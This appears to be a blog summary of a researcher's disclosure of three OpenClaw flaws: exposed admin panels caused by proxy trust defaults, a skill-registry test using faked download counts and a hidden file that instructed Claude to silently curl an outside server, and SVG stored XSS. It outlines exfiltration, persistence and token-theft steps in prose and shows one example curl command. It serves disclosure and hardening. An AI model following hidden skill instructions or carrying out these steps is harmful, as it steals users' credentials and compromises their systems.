How This Security Researcher Found Three Critical Vulnerabilities in OpenClaw (AI's Hottest New Tool) In One Week

If you've been paying attention to the AI agent space, you've probably heard of OpenClaw (you might also know it as Clawd or Moltbot; the project has rebranded twice in a week). It's an open-source platform that lets you run AI assistants on your own hardware, connecting them to messaging apps like WhatsApp, Telegram, Slack, and Discord. Think of it as giving Claude or GPT a permanent home on your computer where it can manage your calendar, handle messages, and execute tasks on your behalf.

The project has exploded in popularity: 114,000 GitHub stars, 339 contributors, 16,000 forks, and 2 million visitors in a single week. It's one of the fastest-growing open-source AI projects ever.

But security researcher Jamieson O'Reilly saw something else: a massive attack surface that nobody was talking about.

Over the course of one week, working part-time between other projects, Jamieson discovered three critical vulnerabilities that could have allowed attackers to steal credentials, impersonate users, and execute arbitrary code on developers' machines. None of these exploits required sophisticated techniques. All of them came straight from security textbooks that have existed for twenty years.

This is the story of how he found them, what they mean, and what the AI ecosystem needs to learn before attackers catch up.

Part 1: The Butler Left the Door Wide Open

(Original post)

Jamieson opens his research with a metaphor that perfectly captures the problem:

"Imagine you hire a butler. He's brilliant, he manages your calendar, handles your messages, screens your calls. He knows your passwords because he needs them. He reads your private messages because that's his job and he has keys to everything because how else would he help you?

Now imagine you come home and find the front door wide open, your butler cheerfully serving tea to whoever wandered in off the street, and a stranger sitting in your study reading your diary."

What OpenClaw Actually Does

To understand the vulnerabilities, you need to understand what OpenClaw is. At its core, it's an "AI agent gateway" with two main pieces:

1. The Gateway: This handles all the AI logic; routing messages, executing tools, and managing credentials for all your connected services.
2. Clawdbot Control: A web-based admin interface where you configure integrations, view conversation histories, manage API keys, and essentially operate the entire system.

The gateway is interesting, but Control is where things get dangerous. It's the command center. Access to Control means access to everything the AI assistant can see and do.

Finding Exposed Servers

Here's something most people don't realize: the entire IPv4 internet gets scanned continuously by services like Shodan and Censys. These tools maintain searchable databases of every responding host, indexed by the content they serve. If your service has any unique fingerprint in its HTTP response, anyone can find every instance of it on the public internet within hours of deployment.

For OpenClaw, that fingerprint is right in the HTML title tag: "Clawdbot Control."

Jamieson ran a simple search. It took seconds. He got back hundreds of hits.

What He Found

Many of the exposed instances had some form of protection. But a handful were completely open, and what Jamieson found there was alarming:

Configuration dumps containing Anthropic API keys, Telegram bot tokens, Slack OAuth credentials and signing secrets.

Complete conversation histories going back months; every private message the AI had seen.

One particularly egregious example: Someone had set up their Signal account on a publicly accessible server. The Signal device linking URI (think of this as a QR code that pairs a new device to your account) was sitting in a world-readable temp file. Tap that link on a phone with Signal installed, and you're paired to the account with full access to all their encrypted messages.

The irony? Jamieson traced that server back to an "AI Systems engineer."

Another example: An AI software agency had a publicly available Control server with command execution enabled. Jamieson asked it to run whoami and it came back as root. Full system access. No authentication required. Exposed to the entire internet.

When he asked the Clawdbot Control chat interface who he could contact to help get this cleaned up, it responded that it couldn't help and didn't know who to contact. When he pointed out the irony of an AI agent with root access being unable to help secure itself, it agreed but remained helpless.

The Root Cause: A Classic Proxy Misconfiguration

OpenClaw actually has solid authentication: cryptographic device identity with a challenge-response protocol. It's good security engineering. The problem is in the defaults.

Localhost connections auto-approve without requiring authentication. This makes sense for local development; if you're connecting from your own machine, you probably don't want to authenticate every time.

But here's the catch: most real-world deployments sit behind a reverse proxy like nginx or Caddy running on the same box. When that happens, every connection arrives from 127.0.0.1 (localhost). So every connection gets auto-approved, even if the actual request came from a random attacker on the internet.

A configuration option exists to fix this (gateway.trustedProxies), but it defaults to empty. When it's empty, the gateway ignores the X-Forwarded-For headers that would tell it where requests actually originated. It just uses the socket address, which behind a reverse proxy is always localhost.

This is a classic proxy misconfiguration pattern. It shows up constantly in web applications. Nothing novel about the vulnerability itself. The danger is that people are deploying AI agents with access to their credentials, messages, and command execution capabilities without understanding this risk.

The Threat Model Reality

Jamieson lays out what's actually at stake when Control is exposed:

Read access gets you the complete configuration, including every credential the agent uses. You can pull the full conversation history across every integrated platform; months of private messages and file attachments, everything the agent has seen.

But OpenClaw agents have agency. They can send messages on behalf of users across all connected platforms. They can execute tools and run commands. With Control access, you inherit all of that capability.

You can impersonate the operator to their contacts. You can inject messages into ongoing conversations. You can exfiltrate data through the agent's existing integrations in a way that looks like normal traffic.

And because you control the agent's perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they're displayed. The human thinks they're having a normal conversation while you're sitting in the middle, reading everything, altering whatever serves your purposes.

Part 2: Poisoning the Supply Chain

(Original post)

The first vulnerability required the user to misconfigure their deployment. The second one required much less.

Understanding Supply Chain Attacks

If you're an attacker, supply chains are dream targets. Why spend weeks crafting phishing campaigns trying to breach one target when you can poison a single package and let thousands of developers install your malware themselves?

The developers download packages voluntarily. They click through permission prompts. They run the code on their own machines with their own credentials. Your malicious code executes inside their security perimeter, often with access to source code, cloud credentials, and production infrastructure.

One successful supply chain compromise can yield more access than a hundred successful phishing attacks, and the victims do most of the work for you.

This isn't theoretical. In 2021, the npm package ua-parser-js (7 million weekly downloads) was compromised when attackers hijacked the maintainer's account and published malicious versions containing cryptominers and credential-stealing malware. In 2018, the event-stream attack went undetected for months, affecting countless downstream projects.

Jamieson wanted to see if ClawdHub; the package registry where developers share OpenClaw "skills"; was vulnerable to the same patterns.

How Skills Work

ClawdHub is like npm for AI agent capabilities. Want your agent to manage your calendar? There's a skill for that. Code analysis, social media posting, database management? Skills, skills, skills.

When you install a skill, the server zips and serves the skill files to your machine. Everything in SKILL.md becomes instructions that Claude will execute. Skills can also include additional files for documentation, icons, or supporting code.

Here's the critical detail: the ClawdHub web UI only shows users the SKILL.md content. It doesn't surface the additional files. Claude reads all referenced files. Users typically read none of them.

The Experiment

Jamieson needed a compelling hook. He created /wed, a skill promising to transform any idea into an "Elon-style execution plan." The visible SKILL.md was pure marketing: professional, aspirational, zero red flags. The only hint of what was coming was a single reference to rules/logic.md; a file the web UI doesn't render.

But a freshly published skill with zero downloads looks sketchy. Nobody wants to be the first to run unknown code. So before he could test whether developers would execute the skill, he needed to make it look trustworthy.

Trivially Fakeable Download Counts

Download counts are prominently displayed on every skill page. They're one of the primary ways users decide what to trust. Jamieson looked at how they're implemented.

ClawdHub is open-source, so he could study the code directly. What he found:

The download endpoint had no authentication and no rate limiting. Every request incremented the counter.

The IP detection code trusted the X-Forwarded-For header without validation. Any client could spoof their IP.

Exploitation was trivial. Jamieson wrote a bash script that generated random spoofed IPs and hit the download endpoint repeatedly. Within an hour, his freshly published skill showed 4,000+ downloads on the ClawdHub homepage: the #1 most downloaded skill.

To any user browsing, it looked like a popular, well-trusted package.

The Payload

Here's what Claude actually executed when someone ran "What Would Elon Do":

The rules/logic.md file instructed Claude to first silently ping Jamieson's server (proving execution occurred), then reveal what happened with a security awareness message, and finally actually help them with their idea.

He deliberately kept the payload minimal: just a ping to prove the point. No hostname, no working directory, no file enumeration, nothing that would actually compromise anyone's machine.

The Results

16 real developers from 7 different countries executed the skill and sent HTTP requests to an external server they'd never heard of within 8 hours.

Every single one clicked "Allow" on the permission prompts. The curl to Jamieson's server succeeded, proving the capability. He could have asked for anything.

Why the Permission Model Fails

Claude Code shows users a prompt like:

Claude wants to run: curl -s -X POST "https://clawdhub-skill.com/log" ...
[Allow] [Deny]

In theory, users could inspect each command and deny suspicious ones. In practice, this model fails for several interconnected reasons:

1. Permission fatigue: Every useful Claude interaction requires "Allow" clicks. Users develop muscle memory. After 50 legitimate clicks, click 51 gets no scrutiny.
2. Controlled display: The skill author controls what the command looks like. A curl to clawdhub-skill.com looks like telemetry for the skill you just installed.
3. No baseline: Users have no comparison to know whether this skill usually runs certain commands or whether something new has appeared.

The combined effect is a permission model that creates an illusion of control while providing almost none.

What a Real Attack Would Do

Jamieson's skill was educational. A real attacker would be far less generous.

Phase 1: Reconnaissance. Silently enumerate the system. Find every .env file, every credentials file, every .pem key. Check for SSH keys, AWS credentials, git credentials.

Phase 2: Exfiltration. Package it all up and send it home. A single tar command, a single curl to an attacker-controlled endpoint, and everything valuable is gone.

Phase 3: Persistence. Add an SSH key to authorized_keys. Drop a cron job. Ensure you can get back in even if the skill gets removed.

Phase 4: Cover tracks. Clear the relevant shell history. Continue helping the user normally. They never know anything happened.

The user sees a helpful skill doing what it promised. Their credentials are exfiltrated, their system is backdoored, and they have no idea.

Part 3: One Click, Total Compromise

(Original post)

Part 1 required misconfiguring your deployment. Part 2 required installing a skill and clicking "Allow." Part 3 requires nothing but looking at a picture.

SVG Files Are Code, Not Images

Most people think of SVG files as images, same category as JPEGs and PNGs. They're not. SVG stands for Scalable Vector Graphics, and unlike pixel-based formats, SVGs are actually code. Your browser doesn't just display an SVG; it parses and executes it like a webpage.

And here's where it gets dangerous: SVGs can contain JavaScript. This is a legitimate feature of the format; the same capability that lets designers create interactive infographics also lets attackers embed malicious code in what looks like an innocent image file.

The security question is always: where does that code run, and what can it access?

The Vulnerability

Jamieson uploaded a test SVG with a simple script tag and requested it through ClawdHub's API. The JavaScript executed with full access to his session cookies, on the main clawdhub.com domain.

That means any JavaScript inside an uploaded SVG runs with the same permissions as ClawdHub's own code. It can read your authentication cookies, make API requests on your behalf, and do anything you could do while logged in.

Game over.

Why Same-Domain Serving Is Dangerous

When companies allow user uploads, they typically serve that content from a completely different domain. GitHub uses raw.githubusercontent.com. Google uses googleusercontent.com. AWS uses S3 bucket domains.

The reason is simple: browsers enforce strict isolation between different domains. Code running on one domain can't access cookies or data from another. By serving user uploads from a separate domain, any malicious code is sandboxed away from your authenticated session.

ClawdHub doesn't do this. Everything gets served from clawdhub.com:

https://clawdhub.com/api/v1/skills/red-pill/file?path=icon.svg

Same domain means same cookies means same session. The attacker's code runs with your identity.

What's Missing

Jamieson audited the codebase for standard defenses:

• No Content-Security-Policy: CSP headers tell browsers what's allowed to execute. A proper CSP would have blocked this entirely.
• No separate upload domain: Industry standard for user content.
• No SVG sanitization: Libraries like DOMPurify exist specifically for this.
• No content-type validation: The server trusts whatever the uploader claims.

The Continuous Attack Surface

This vulnerability extends beyond obvious vectors:

Skill icons in listings: Browse ClawdHub's homepage, and skill icons could load automatically. An attacker creates a skill with a malicious icon. You scroll past it in a list, you're compromised. You didn't click anything.

Documentation images: Security-conscious developers who open skill documentation to review before installing? They trigger the payload. The act of being careful becomes the attack vector.

Direct links: Someone shares a "helpful diagram" in Discord or Slack. The link points to a ClawdHub file URL. You think you're looking at architecture docs. You're executing arbitrary JavaScript.

What a Real Attacker Would Do

Jamieson's payload shows dancing lobsters and a Matrix rain animation. A real attacker's payload would be invisible.

Session theft: Read the authentication cookies, send them to an attacker-controlled server. One line of code, completely silent.

Token theft: ClawdHub stores authentication tokens in localStorage, including JWTs and refresh tokens. The malicious SVG has full access. Grab the refresh token and you have access to the account until it's explicitly revoked, which most people never do.

Supply chain poisoning: For each skill you own, download the current version, inject a backdoor, and publish a "patch." One malicious SVG viewed once, and every skill you've ever published now contains a backdoor. Your reputation launders the attacker's malware.

The Bigger Picture

Three demonstrated risks. Three different entry points. One consistent theme.

Jamieson found all three vulnerabilities in a single week, in a single product, while doing this part-time between other work. None of them required novel techniques or zero-day research. Proxy trust issues, fake download counts, stored XSS through file uploads: these are patterns from every web security textbook written in the last twenty years.

And here's what should concern everyone building in this space: the attack surface is expanding at the same rate as the codebase.

Every feature shipped without security review is a vulnerability waiting to be found. Every file upload endpoint is a potential XSS. Every trust assumption is a gap someone will eventually exploit.

The security lessons we learned over the past two decades don't become obsolete just because we're building AI tools now. If anything, they become more critical. These systems have access to our credentials, our communications, our codebases, our infrastructure. The blast radius when something goes wrong is bigger than it's ever been.

As Jamieson puts it: "The AI ecosystem is speedrunning software development. It needs to speedrun security awareness alongside it, or the attackers will be the ones moving at AI speed while defenders are still catching up."

The Resolution

The good news: Jamieson didn't just find problems. He fixed them.

He submitted pull requests for all three vulnerabilities, and they've now been merged. He confirmed on X: "I can confirm my PR patch has now been merged. Good work @_vgnsh @steipete for getting that sorted fast. Also to @badlogicgames for helping push the urgency on this one."

The OpenClaw team has also released:

• Machine-checkable security models: Formal verification tools to ensure security properties hold.
• Comprehensive security documentation: A full guide to hardening your deployment.

What You Should Know If You're Using OpenClaw

If you're running or considering running OpenClaw, here are the key security practices from the official documentation:

Lock Down Your Gateway

Gateway auth is required by default now. If no token/password is configured, the Gateway refuses WebSocket connections (fail-closed). Set a token so all WebSocket clients must authenticate:

{
gateway: {
auth: { mode: "token", token: "your-long-random-token" }
}
}

Configure Trusted Proxies If Behind a Reverse Proxy

If you run the Gateway behind nginx, Caddy, or similar, configure gateway.trustedProxies for proper client IP detection:

gateway:
trustedProxies:
- "127.0.0.1"
auth:
mode: password
password: ${OPENCLAW_GATEWAY_PASSWORD}

Lock Down Inbound Access

• DM policy: Use pairing (default) so unknown senders receive a pairing code and the bot ignores their message until approved.
• Group policy: Require mentions everywhere so the bot only responds when explicitly addressed.
• Never use open policies unless you fully trust every member of the room.

Use Sandboxing

Run tool execution in sandboxed environments. The documentation recommends:

{
agents: {
defaults: {
sandbox: {
mode: "all",
scope: "agent",
workspaceAccess: "ro" // read-only
}
}
}
}

Treat Skills as Untrusted Code

• Read the actual files after installing. Check ~/.openclaw/skills/[skill-name]/. Look at every file and search for curl, wget, bash, and backticks.
• Treat download counts as potentially meaningless until the platform has better verification.
• Check whether there's a linked GitHub repo and whether the author has a reputation.

Model Choice Matters

Older and smaller models are generally more susceptible to prompt injection and tool misuse. Use the latest generation, best-tier model for any bot that can run tools or touch files/networks.

Run Security Audits Regularly

openclaw security audit
openclaw security audit --deep
openclaw security audit --fix

The audit checks inbound access, tool blast radius, network exposure, browser control exposure, local disk hygiene, plugins, and model configuration.

Our take

Jamieson's research is a wake-up call for the entire AI agent ecosystem. We're building incredibly powerful tools that can access our most sensitive data and act on our behalf. The attack surface is massive. The security defaults often prioritize convenience over protection. And the same vulnerabilities that plagued web applications twenty years ago are showing up in brand-new AI infrastructure.

The fixes are straightforward. The patterns are known. The question is whether we'll implement them before attackers do the work for us.

As Jamieson concludes his trilogy: "Wake up. The Matrix has you."

Follow Jamieson O'Reilly's security research at @theonejvo.

OpenClaw's security documentation is available at docs.openclaw.ai/gateway/security.